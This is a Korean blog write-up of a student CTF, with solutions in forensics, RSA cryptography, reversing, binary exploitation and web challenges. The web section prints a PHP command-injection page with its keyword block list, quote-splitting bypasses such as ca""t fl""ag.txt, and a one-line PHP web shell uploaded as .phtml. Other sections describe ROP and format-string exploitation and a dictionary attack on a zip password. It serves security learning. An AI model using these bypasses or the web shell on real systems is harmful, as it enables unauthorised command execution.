안 쓰던 블로그
SWING 내부ctf대회 writeup 본문
<프로그래밍>
타일링타일링1
2*596을 1×2, 2×1 타일로 채우는 경우의 수를 10007 로 나눈 나머지를 출력하라
백준 DP 대표 문제 타일 채우기에서 값만 바뀐 문제다(https://www.acmicpc.net/problem/11726)
#include <stdio.h>
#include <algorithm>
using namespace std;
int n;
long long dp[1005] = { 1,1 };
int main() {
n=596;
for (int i = 2; i <= n; i++) {
dp[i] = (dp[i - 2] + dp[i - 1]) % 10007;
}
printf("%d", dp[n]);
}
CalCulateit
접속하면 계산식을 주고 답을 쓰라고 한다
근데 계산식이 2진수 16진수 10진수와 ^ + *의 콜라보인데다가
정답 입력에 시간 제한도 있어서 절대 직접 쓸 수 없다
파이썬으로 자동으로 돌린다
from pwn import *
p = remote("mc.mandu-mandu.shop", 40000)
for i in range(1,21):
p.recvuntil('Task Number')
p.recvline() #0\n
p.recvline() #\n
t=p.recvline()
res=eval(t)
print(res)
p.recvuntil(":")
p.sendline(str(res))
p.interactive()
recvline으로 수식을 문자열로 받아서 eval로 계산한다
계산한 값을 string으로 변환하여 line에 출력한다
for문에 넣고 20번 돌려준다
몇 번 돌려야 하는지는 숫자 적당히 찍어보면 금방 나왔음
<포렌식>
OurImportantMemories
문제: 실수로 중요한 사진을 지워서 복구해 줄 수 있어?
압축파일을 푸면 디스크 이미지가 두 개 있는데, 하나는 깨져 있어서 다른 문제에서 쓸 것 같고 안 깨진 .001 파일을 FTK imager에 불러와 준다
사진을 지웠다고 할 때 가장 먼저 생각할 수 있는 건 바로 휴지통
휴지통은 Recycle.Bin 이름의 폴더다
ㅋㅋㅋㅋ
이 문제를 풀기 시작했을 때는 이미 Thumbnail 힌트가 있었지만 문제 출제한 사람이 친절하게 힌트를 숨겨 놓았더라
어쨌든 사진 복구하는 두 번째 방법이 바로 Thumbnail인데, 파일 탐색 시 보는 미리보기들이 다 썸네일이다
썸네일은 원본을 엄청나게 축소해서 용량도 적고 캐시를 보여주므로 성능 향상에도 도움을 준다
무엇보다 한 번 저장된 썸네일은 원본 파일이 삭제되더라도 삭제되지 않기 때문에 썸네일을 지우지 않았다면 원본의 흔적을 찾을 수 있다
썸네일의 저장 경로는 %사용자이름%\AppData\Local\Microsoft\Windows\Explorer
전부 export해 준다
https://thumbcacheviewer.github.io/
thumbache viewer로 썸네일 캐시를 분석한다
플래그 확인
썸네일 관련 정보 https://kali-km.tistory.com/entry/Thumbnail-Forensics?category=522239
FS_BreakUp
문제: 로컬디스트D에 문제가 있는 것 같아. 안에 중요한 파일이 있는 것 같은데...
깨진 .001 파일을 하나 받는다 HxD로 가져오는데 '디스크 이미지 열기'로 열어 줘야 하고 1섹터 크기는 512로 해 준다
디스크 복구 문제로 FAT32 파일시스템에 MBR보고 파티션 시작 섹터 찾아서 복구 부분 계산해서 복붙하는 식의 문제인 줄 알았는데.. 까보니까 NTFS구조였다
NTFS는 VBR, MFT, Data Area로 나뉘어지고. MBR 다음 단계로 부팅되면서 파티션의 운영체제를 부팅하는 역할을 한다
그래서 VBR은 무조건 첫 섹터로 위치가 고정된다
VBR의 시작은 EB 52 90 부트섹터, 그 뒤에 OEM ID, BIOS 파라미터 블럭, ... 쭉 가서 마지막 55 AA 시그니쳐까지 구성되는데 위에 사진에서는 OEM ID가 제대로 안 들어가서 디스크가 제대로 안 보였던 것이다
정상적인 OEM ID로 수정한다
설마 이게 끝인가 했는데 진짜 여기까지 하고 FTK imager에 가져와서 넣기만 하면 됐다
그러면 아주 중요한 파일이 나오고 base64 디코딩 하면 완료
참고할 만한 관련 글
NTFS https://weekhack.tistory.com/52
MBR https://croas.tistory.com/?page=49
Misunderstanding
문제: 동생이 내 컴퓨터로 자꾸 이상한 사이트를 들어가는 것 같아! 너가 알아봐줘
위에서 썼던 .001파일을 사용한다
웹 브라우저 히스토리, 즉 인터넷 사용기록을 찾는 문제였다
사용기록이 저장되는 위치는 다음과 같다
IE: %사용자이름%\Appdata\Local\Microsoft\Windows\History\History.IE5\Index.dat
IE 버전 10이상: %사용자이름%\Appdata\Local\Microsoft\Windows\WebCache\WebCacheV(01 or 24).dat
크롬: %사용자이름%\Appdata\Local\Google\Chrome\User Data\Default\History
파이어폭스: %UserProfile%\Appdata\Roaming\Mozilla\Firefox\Profiles\<Random>.default\places.sqlite
이 문제에서는 IE 크롬 파폭 폴더가 다 있었지만 파일은 크롬과 IE만, 파폭은 폴더만 있었다
위에는 파일 구조
맨 처음에는 IE폴더에서 index.dat을 뽑았다
근데 이 IE때문에 삽질 좀 했다.. 일단 이 파일을 파싱 해 주었다
IE10버전부터는 IE10Analyzer로 파싱할 수 있지만 index.dat 파일이 있다면 옛날 버전이라 툴을 써 줘야 한다
나는 이거 썼다 https://www.systenance.com/indexdat.php
index.dat을 불러오면 이렇게 목록이 나온다
링크 딱 보면 알겠지만 하는 게 네이버 서핑하고 페북가고 그게 전부 맞음
고양이 사진 검색하고 다운받고 있는데 진짜 여기 정답이 있다고?? 이러면서 한참 뒤진 것 같다
저 IE기록은 사실 페이크였고 정답은 크롬 파일에 있었다
%사용자이름%\Appdata\Local\Google\Chrome\User Data\Default\History
IE파일을 먼저 찾아버려서 크롬 쪽은 무심코 지나쳤던 게 문제였다
History받아주고 DB Browser for SQLite 로 열어 준다
명곡들 사이로 전혀 수상하지 않은 url이 보인다
들어가주면 정답
참고할 만한 글: https://h4nu.tistory.com/14
What_did_you_do_yesterday
문제: 지켜보고 있다
솔직히 네트워크 포렌식이 제일 재밌는데 네트워크.. 비스무리한 건 이거 한 문제밖에 안 나와서 좀 슬펏다
어쨌든 pcap파일을 줬으니 와이어샤크로 열어 준다
패킷을 쓱 보니까 TCP와 UDP가 보인다
TCP보이면 tcpstream과 파일 확인 국룰이죠
짱 재밌는 네트워크 문제고 pcap파일을 줬으니 와이어샤크로 열어 준다
어제 뭐 했는지 찾는 문제니까 http로 오간 파일을 확인할 수 있을 것 같아서 먼저 파일 확인해 주었다
일단 파일 확인
바로 나온다ㅋㅋ 전부 다운로드 받아주었다
music.zip에는 비밀번호가 걸려 있었다
다른 파일 확인
php파일에 어썸한 pw가 있어서 입력해줬다
하루와.. 플래그를 확인해 준다
Who_is_real
문제: 누가 진짜인가
똑같이 생긴 케르베로스 셋+셋 중에 다른 애들 찾는 문제
포렌식 문제 출제자가 누군지도 모르지만 취향은 좀 알 것 같음ㅋㅋ
cmp로 파일을 비교해 줄 것이다 우분투로 파일을 가져온다
cmp -l --print-bytes cerberus.bmp helltaker.bmp
-l로 틀린 숫자에 대한 8진수 아스키 출력, 바이트 출력 옵션으로 비교
비슷한 문제 풀이가 있길래: https://whitesnake1004.tistory.com/m/219?category=790648
GroupProject_BadEnding
문제: 조별과제 조장이 보내 준 최종 ppt 자료가 이상하다. 숨겨진 메세지가 있는 것 같다
pptx는 사실 여러 이미지와 폰트 등등이 묶인 파일이라 압축을 풀 수가 있다
압축을 풀고 잘 찾아주면 되는 문제였다
What_is_your_home_password
문제:
문제를 이렇게 주고 암호가 걸린 zip파일 하나를 줬다
문제에서 저렇게 열심히 설명했으니까 파일 조작해서 암호가 필요 없게 하거나 무작정 대입 공격하는 것이 아닌 문제다
비밀번호 맨 뒷자리가 e i l o u v 중에 하나고 생일이라 최소 6자리니까 딕셔너리 대입 공격하면 되었다
딕셔너리 공격에 쓰는 .dic파일을 미리 만들어 주어야 했는데 crunch 명령어로 가능하다
$crunch 7 7 0123456789 -t @@@@@@e -o pw1.txt
$crunch 7 7 0123456789 -t @@@@@@i -o pw2.txt
$crunch 7 7 0123456789 -t @@@@@@l -o pw3.txt
$crunch 7 7 0123456789 -t @@@@@@o -o pw4.txt
$crunch 7 7 0123456789 -t @@@@@@u -o pw5.txt
$crunch 7 7 0123456789 -t @@@@@@v -o pw6.txt
각 알파벳으로 끝나는 6자리 경우의 수 전체를 만들어서 하나의 .dic파일로 묶는다
advanced archive password recovery 툴에서 만든 .dic파일로 압축파일에 딕셔너리 공격을 한다
비밀번호는 010829i
baby_stego
문제: zip파일에서 플래그를 찾으시오
깨진 zip파일을 준다
HxD에 넣어서 왜 깨졌는지 확인하면 zip헤더가 이상한 걸 확인할 수 있으므로 맞춰서 압축 풀어준다
근데 압축 해제해서 나온 flag.png도 깨져 있었다
png도 HxD에서 복구해주면 아래 이미지가 나온다
사실 여기서 출제자한테 속은 줄 알고 zip파일과 png를 다시 뒤지면서 다른 파일이 숨겨져 있나 다 확인해봤는데..
답은 너무 간단하게 fake이미지 노출 올려주면 나왔다
플래그: SWING{king_god_goldory_mmm}
ListenSongBarely
bmp파일을 하나 준다
제목에서도 알 수 있듯이 LSB 문제였다
LSB니까 zsteg 툴을 써서 확인해 주었다 https://github.com/zed-0xff/zsteg
옵션을 주지 않았는데 플래그가 바로 나왔다
만약에 이렇게 확인했을 때 플래그가 전부 나오지 않았다면 아래처럼 옵션을 더 줘서 확인할 수 있다
플래그: SWING{listen_listen_icant_listen}
비슷한 문제가 있더라 https://whitesnake1004.tistory.com/91
<크립토>
Crypto EZ
문제: ZDPUN{Jhlzhy_PZ_clyf_LHZF}
시저암호문제였다 https://quipqiup.com/
SWING{Caesar_IS_very_EASY}
MS Code
문제: - .... .---- ... ..--.- .---- ... ..--.- -- ----- .-. ... ...-- ..--.- -.-. ----- -.. ...--
모스 부호 문제였다 https://jinh.kr/morse/
EASY_RSA
문제: c d ?? POW!
c = 0x53c49021d16b9f3e47ab5abed26f22a59d87147b25157294544bdc365abb3e6eed4f53bdbefc766019dec93d09823e0849ae5d7915aa8fe5eebc6dd37d420751c37d5eb3a1c8b6c4543d88957ee008f6121cce1cd5bd3a371586781a216b72741e26ea033d1c55cb9f6402f3d16fa91ffef43784b54bf9c8f12fca39e31783d43fd88457fd7da7ac51a3ad7b1000e5f5534dc66f98bd008dc04b2b549131dad29c532464882d7157e8407381ebbc490ac38ac6e4df0266a50f690b23790e796019fa10343be9d79616c22dc674ffc39c5daf1a8caccb27080b73e45fd86ded73bf26628c43faca6b4de176b0ad8ce04024285c2b26685eece2bf2bbe8665adee
d = 4355499397862080543745094800699909019348618119444184296921359339460287723864840824031973339636203960770383886265418415436789981512174362451775209577031105571663771210002143877907343431073213838261541932640941077617185906441930837382251458136166798255429461812360960552390423786623102670484865104608829256352582810410547479663414178175175752064125322089912200596268468622078888979525232802842112574395169146467129556254417806603104717202169566496359464566616044001698144585875478136614373175749017980131286169262399469506537684881687036284372899776801802046887189352096599344536190397543903675442534574331682794882273
n = 12877085940257462561258730453082056092436973234718884209290166780809711578424237519041071717405959262733281398212510790475973520023610375423015830290516874897375764595565954045491657258187630952232899067960903839211328224409474502166310904130913676061987668101082702743808869206654859914087003399681907473883894069744074358439422705072072995065705638254775569556385098785559253950303416877258662180934536536524650025879905141333406070836222488991609783115417797052141119897134304170396330550554220451206242574177395977744661864313185676874590893841647816095485259254827222180278249532824292002360420926227016785111189
c d n값을 주었다
RSA가 원래는 p, q값을 가지고 n을 계산하고, d값을 계산하는 과정을 거치는데 c d n값을 문제에서 다 주었다
이러면 단지 c의 d승을 n으로 나눈 나머지(pow)로 나온 hex값을 디코딩 해 주면 된다(https://defenit.kr/2019/09/24/Crypto/%E3%84%B4%20Research/RSA_for_CTF/ )
n=12877085940257462561258730453082056092436973234718884209290166780809711578424237519041071717405959262733281398212510790475973520023610375423015830290516874897375764595565954045491657258187630952232899067960903839211328224409474502166310904130913676061987668101082702743808869206654859914087003399681907473883894069744074358439422705072072995065705638254775569556385098785559253950303416877258662180934536536524650025879905141333406070836222488991609783115417797052141119897134304170396330550554220451206242574177395977744661864313185676874590893841647816095485259254827222180278249532824292002360420926227016785111189
d=4355499397862080543745094800699909019348618119444184296921359339460287723864840824031973339636203960770383886265418415436789981512174362451775209577031105571663771210002143877907343431073213838261541932640941077617185906441930837382251458136166798255429461812360960552390423786623102670484865104608829256352582810410547479663414178175175752064125322089912200596268468622078888979525232802842112574395169146467129556254417806603104717202169566496359464566616044001698144585875478136614373175749017980131286169262399469506537684881687036284372899776801802046887189352096599344536190397543903675442534574331682794882273
c=0x53c49021d16b9f3e47ab5abed26f22a59d87147b25157294544bdc365abb3e6eed4f53bdbefc766019dec93d09823e0849ae5d7915aa8fe5eebc6dd37d420751c37d5eb3a1c8b6c4543d88957ee008f6121cce1cd5bd3a371586781a216b72741e26ea033d1c55cb9f6402f3d16fa91ffef43784b54bf9c8f12fca39e31783d43fd88457fd7da7ac51a3ad7b1000e5f5534dc66f98bd008dc04b2b549131dad29c532464882d7157e8407381ebbc490ac38ac6e4df0266a50f690b23790e796019fa10343be9d79616c22dc674ffc39c5daf1a8caccb27080b73e45fd86ded73bf26628c43faca6b4de176b0ad8ce04024285c2b26685eece2bf2bbe8665adee
print ('%x' % pow(c, d, n)).decode("hex")
BabyAS(L)R
p = 153751157922590942606662190131020954184835723147260816729495457366511395141803989706184439035578201898691862488283002539186280495278760568695515424372668457059656835802512698107130314559022180229026130136739605235651450974469356712238300577457592016404767299571014875043023606778932960491640912789458459049103
q = 144346750625270271882672558239287754597584257792607649330946328323939986799261282755917579685293579289019554027644382094577972692021974813607417979234500518138018833346833372187091314195375146787353930379740246920037648741149515968321578056841901126554694189150604152707635264816366411655697662309681068016389
c = 0x11e3228aaae1c1f1e6b99455212c6eb07064794bab44d6ed3f695a3cfb94aa9332c27a6f84f41be7f3aa5d525ac8af53307c1502b0a431943891e28af75d27eed02cdd6cb98a71f045bbab8b969f1f21ef8c7fdcc6d5954de4d956debf89bdc1bf5bfcbcc19812f7208ed6a61754b10a10216027e58d40f89827b2c759949f579b0f2bbb758fca968c4ba05aa379e05435a687fb9f664286295b0deecfa140bbb7d0593d42bd517188f995bba6d1459d6897b1f79f9eb95d494a07e684f3c645fb9aa1792e585026fff7568e95baa6903e529c4150c65477ed606660878d06de30ef26c962a81d008c7b78dcaa76341e0ed6d5340638dd61b7fbb9dafb086632
이것도 RSA 문제였다
값을 구하기 위해서는 n과 d값이 필요하다
n은 p*q로 구할 수 있다
d는 (p-1) * (q-1)로 phi를 구하고 e = 65537로 두고 invert함수로 e와 phi의 곱셈의 역원을 구해서 d를 구할 수 있다
그리고 n과 d c값을 가지고 아까 문제처럼 pow해 주면 된다
from gmpy2 import *
p = 153751157922590942606662190131020954184835723147260816729495457366511395141803989706184439035578201898691862488283002539186280495278760568695515424372668457059656835802512698107130314559022180229026130136739605235651450974469356712238300577457592016404767299571014875043023606778932960491640912789458459049103
q = 144346750625270271882672558239287754597584257792607649330946328323939986799261282755917579685293579289019554027644382094577972692021974813607417979234500518138018833346833372187091314195375146787353930379740246920037648741149515968321578056841901126554694189150604152707635264816366411655697662309681068016389
c = 0x11e3228aaae1c1f1e6b99455212c6eb07064794bab44d6ed3f695a3cfb94aa9332c27a6f84f41be7f3aa5d525ac8af53307c1502b0a431943891e28af75d27eed02cdd6cb98a71f045bbab8b969f1f21ef8c7fdcc6d5954de4d956debf89bdc1bf5bfcbcc19812f7208ed6a61754b10a10216027e58d40f89827b2c759949f579b0f2bbb758fca968c4ba05aa379e05435a687fb9f664286295b0deecfa140bbb7d0593d42bd517188f995bba6d1459d6897b1f79f9eb95d494a07e684f3c645fb9aa1792e585026fff7568e95baa6903e529c4150c65477ed606660878d06de30ef26c962a81d008c7b78dcaa76341e0ed6d5340638dd61b7fbb9dafb086632
n=p*q
phi = (p-1) * (q-1)
e = 65537
d = invert(e, phi) # gmpy2
print ('%x' % pow(c, d, n)).decode("hex")
플래그: SWING{gongbu_hazi_malgo_nol_a}
리버싱
King Of Clicker
문제: 클릭의 왕이 될 자... 마우스를 준비하라!
문제에서 준 exe파일을 열어 보면 클릭 게임이 나온다
클릭을 많이 하면 뭐가 나오는 것 같은데.. 직접 할 수는 없으니까 치트엔진에 넣어서 값을 바꿔버리겠다
먼저 화면에 있는 값을 찾아야 한다
1,2같은 값은 많을테니까 적당한 9값을 찾고 스캔한다
게임에서 버튼 눌러서 10을 만들고 치트엔진에서 10값을 적고 다음 스캔을 한다
그러면 버튼 값에 해당하는 변수를 찾을 수 있다
더블클릭해서 주소 등록해 주고 value값을 높게 바꾼다
다시 게임에서 버튼 한 번 더 누르면 플래그를 만날 수 있다
XOR POWER
문제: 주어진 소스 코드 이용하여 플래그를 찾아라
b = [4100, 4300, 3600, 3950, 3500, 6100, 4450, 3900, 4150, 4700, 4050, 3900, 4300, 3400, 4150, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 6200]
flag = input()
isCorrect = True
if len(flag) == len(b) :
for i in range(len(b)) :
if ((ord(flag[i]) ^ 1) * 50) != b[i] :
isCorrect = False
if isCorrect == True :
print("Flag : {}".format(flag))
else :
print("Try Again....")
else :
print("Try Again....")
len(b)는 55
입력받은 flag배열의 아스키 코드값을 ^1하고 *50한 값이 b[i]랑 같아야 flag가 나온다
사실 이거 되게.. 야매로 풀었는데 어떻게 했냐면
int(b[i]/50)가 ord(flag[i])^1 과 동일하니까
for i in range(len(a)) :
a[i] = int(b[i]/50)
aa = "".join([str(_) for _ in a])
이렇게 해서 문자열로 만들어주고
if (a[i] * 50) != b[i] :
isCorrect = False
print(aa)
맞는지 확인해주고 그냥 출력해버렸다
그러면 8286727970122897883948178866883323232323232323232323232323232323232323232323232323232323232323232323232323232124 이렇게 나오는데
82S 86W 72I 79N 70G 122{ 89X 78O 83R 94_ 81P 78O 86W 68E 83R 32 32 32 32 32 32 32 32 32 /32 32 32 32 32 32 32 32 32 32 /32 32 32 32 32 32 32 32 32 32 /32 32 32 32 32 32 32 32 32 32 124
SWING{XOR_POWER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}
각 숫자를 임의로 끊어서 머릿속에서 ^1연산 한 뒤에 아스키코드표를 보고 직접 매칭했음ㅋㅋ
아 이렇게 풀면 안 되는데ㅋㅋ 다른 문제 flag가 전부 SWING{평범한 문자열}형태인 거 보고 이것도 그럴 거 같아서 했는데 되더라
<포너블>
Excute ME!!
문제: ELF FILE Excute me!!
elf파일을 실행하면 되었다
WTR
문제: What The RET?
힌트: ROP(Return Oriented Programming)
checksec을 해 보면 Partial RELRO니까 Got Overwrite가 가능했고
NX는 스택의 실행권한을 없애는 메모리 보호기법이라 스택에 쉘코드가 있더라도 실행 시킬 수가 없게 되는데, 이게 걸려있으니까 Stack이나 Heap 영역에 실행권한이 없는 상태이다
Full Relro가 아닌 Partial RELRO+NX있는 이런 형식이 전형적인 ROP문제라고 하더라
문제를 실행시켜 보면 Helloworld를 출력하고 입력값을 하나 받는다
입력 값을 공략하게 되는 문제라고 생각할 수 있다
바이너리를 확인해보면 64비트다
힌트랑 조합하면 64비트 ROP를 하는 문제였다
IDA로 불러와보면 바로 메인함수가 뜬다
이 중에서 gets 함수는 버퍼오버플로우를 일으키는 취약한 함수다
버퍼보다 큰 값을 gets에다가 넣으면 될 것 같다
ret가젯 위치를 찾는다
lea rax,[rbp-0x40] 을 보니까 rbp로부터 0x40만큼 떨어진 공간에 입력 받았다
puts 호출할 때 GOT쪽으로 넘겼다가 main와서 one가젯을 넣어서 풀면 되었다
플래그: SWING{SwingKing_Hayoung_means_God_Glory}
Buffer_Format
문제: Format? Buffer?
먼저 checksec으로 바이너리를 확인해 본다
스택 카나리가 있는 걸 확인하고 아이다에서 함수를 찾는다
main함수 이름이 main이라 바로 보인다
두 번째 read함수가 버퍼오버플로우가 일으키고 있고
printf에서도 %d나 %s를 안 주고 인자 그대로 출력해서 포멧 스트링 버그가 일어난다
찾아보면 win이라는 함수도 있는데 여기서는 빈쉘을 바로 시스템으로 보내버린다
이 말은 메모리 leak을 할 필요가 없다는 의미이다
조합해 보면, exploit 흐름은
1. format string 버그로 canary를 leak
2. BOF로 win함수 실행
하면 된다
%15%p부분에서 포멧스트링 버그를 일으켜서
canary leack하고 그대로 canary입력하고 win함수를 실행 시킨다
버퍼가 따진 걸 볼 수 있다
cat flag로 플래그를 확인한다
플래그: SWING{Canary_FSB_BOFB}
사실 포너블 두 문제는 대회 끝나고 설명 듣고 알게 된 거라 직접 푼 건 아니다.. 포너블은 좀 공부해 봐야겠다
<미스크>
BASE_ENCODEING
문제: U1dJTkd7QkFTRTY0X2lzX0VafQ==
base64 디코딩하는 문제
M1sCheck
문제:
$b = "back";
$c = "copy";
$flag=" SWING{enjoy_b3c1ust_fb7c1r_b3c1b7c1b14c1}";
Do u know data compress algorithm?
플래그를 직접 계산해 주면 되었다
b는 back, c는 copy로 b3c1 이런 형식이 한 묶음이다
b3c1은 _제외하고 3칸 앞으로 가서 1자리 복사한다는 의미
enjoy_b3c1ust에서 b3은 j고 c1으로 j복사 이런 식이다
그렇게 하나씩 바꾸면 SWING{enjoy_just_for_fun}
BEN !! HELP !!
문제: b'du4:_Betu3:teru6:_than_u7:base64}u4:odexu3:_I$u6:swing{u4:Bence'
힌트는 SON Schema 인코딩
bittorrent에서 .torrent 파일 등등을 인코딩하는 Bencoding이 있는데 그거의 확장판이 Becodex라는 게 있더라
문제 플래그는 그거로 인코딩 되었고, 디코딩하는 문제였다
파이썬 https://pypi.org/project/bencodex/
자바스크립트 https://developer.aliyun.com/mirror/npm/package/bencodex
const { encode, decode } = require('bencodex');
console.log(decode(Buffer.from("du4:_Betu3:teru6:_than_u7:base64}u4:odexu3:_I$u6:swing{u4:Bence'")));
코드를 짜서 플래그를 넣으면 이렇게 디코딩된다
다시 짜맞추면 플래그가 나왔다
플래그: swing{Bencodex_I$_Better_than_base64}
<웹>
warming up
<?php
error_reporting(0);
if( isset($_GET['cmd']) ){
$filtering = '/flag|\*|arch|awk|basename|bash|cat|chgrp|chmod|chown|cp|csh|cut|date|dd|df|echo|ed|egrep|env|ex|false|fgrep|find|gawk|grep|gtar|gunzip|gzip|hostname|kill|link|ln|logger|login|ls|mail|mailx|mkdir|mknod|mktemp|more|mv|nano|nice|ping|ps|pwd|raw|readlink|red|rm|rmdir|rnano|rvi|rview|sed|sh|sleep|sort|stty|sync|tar|taskset|tcsh|touch|true|uname|unlink|vi|view|zcat|r|m/i';
if(preg_match($filtering, $_GET['cmd'])){
die('nonono');
}
system($_GET['cmd']);
}
echo "<hr>";
show_source(__FILE__);
cmd에 값을 받아서 실행시키는 코드
근데 필터링이 되어 있어서 뭔가를 하지 못 하게 되어 있다
php에서 필터링을 우회할 수 있는 방법이 있는데, 명령어 사이에 "" 공백이나 $@같은 특수문자를 넣는 식이다
l""s나 l$@s 이런 식으로 넣으면 된다
http://ctf.no-named.kr/?cmd=l""s
http://ctf.no-named.kr/?cmd=ca%22%22t%20fl%22%22ag.txt
플래그: SWING{so_ez_cmd_injection_hahaha}
Sh0w me y0ur fav0r1t3
파일 업로드를 할 수 있는 창이 나오고, php파일을 넣어보면 안 된다고 한다
파일 업로드 취약점인 웹쉘로 풀 수 있었다
일단 간단한 php파일을 준비한다
<?php
system( $_GET[cmd] );
?>
그리고 이걸 업로드 해야 하는데 php로 넣으면 안 되니까 다른 확장자로 넣어야 한다
php스크립트를 포함하고 있지만 HTML 페이지인 확장자 .phtml로 넣어주면 잘 들어갔다
잘 들어갔으면 이제 원하는 명령어를 보낸다
여기 있는 파일은 아마 다른 사람이 이 문제에다가 업로드 시도한 파일을 이름인 것 같다
왜냐면 내가 넣어본 파일 이름도 있기 때문에ㅋㅋ
폴더를 하나 뒤로 가 주고 ls하면 이름이 이상하게 긴 php파일이 있다
실행시켜주면 주석으로 플래그가 있다
플래그: SWING{너 인성 문제 있어?}
대회 중에 푼 건 16개, 끝나고 푼 건 9개로 총 25문제를 풀고 writeup했다
ctf 참가는 이번이 두 번째인데 게임하는 것 같아서 재밌었다 제대로 해 보고 싶더라
대회 운영 및 문제 출제: 해킹팀 N0Named http://blog.no-named.kr//
'CTF > Write up' 카테고리의 다른 글
교내 알고리즘 대회 & 교내 ctf 대회 참가 후기 (1) | 2019.11.29 |
---|---|
xcz.kr 14번 문제풀이 (암호) (0) | 2019.11.28 |
xcz.kr 2번/3번 문제풀이 (0) | 2019.11.28 |
xcz.kr 1번 문제풀이 (0) | 2019.11.26 |
xcz.kr 28번 푸는 중 (0) | 2019.11.26 |